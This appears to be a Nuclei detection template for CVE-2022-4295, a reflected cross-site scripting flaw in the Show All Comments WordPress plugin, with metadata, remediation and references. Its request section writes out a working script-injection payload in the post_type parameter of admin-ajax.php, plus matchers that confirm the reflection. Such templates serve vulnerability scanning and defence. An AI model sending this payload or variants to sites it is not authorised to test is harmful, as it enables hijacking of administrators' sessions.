id: CVE-2022-4295

info:
  name: Show all comments < 7.0.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Show All Comments WordPress plugin before 7.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against a logged in high privilege users such as admin.
  remediation: |
    Update to the latest version of the Show all comments plugin (7.0.1) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4ced1a4d-0c1f-42ad-8473-241c68b92b56
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4295
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4295
    cwe-id: CWE-79
    epss-score: 0.00071
    epss-percentile: 0.29433
    cpe: cpe:2.3:a:appjetty:show_all_comments:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: appjetty
    product: show_all_comments
    framework: wordpress
    publicwww-query: /wp-content/plugins/show-all-comments-in-one-page
  tags: wpscan,cve,cve2022,wp,wordpress,wp-plugin,xss,show-all-comments-in-one-page

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=sac_post_type_call&post_type=</option><script>alert(document.domain)</script>"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "Select </option>")'
        condition: and

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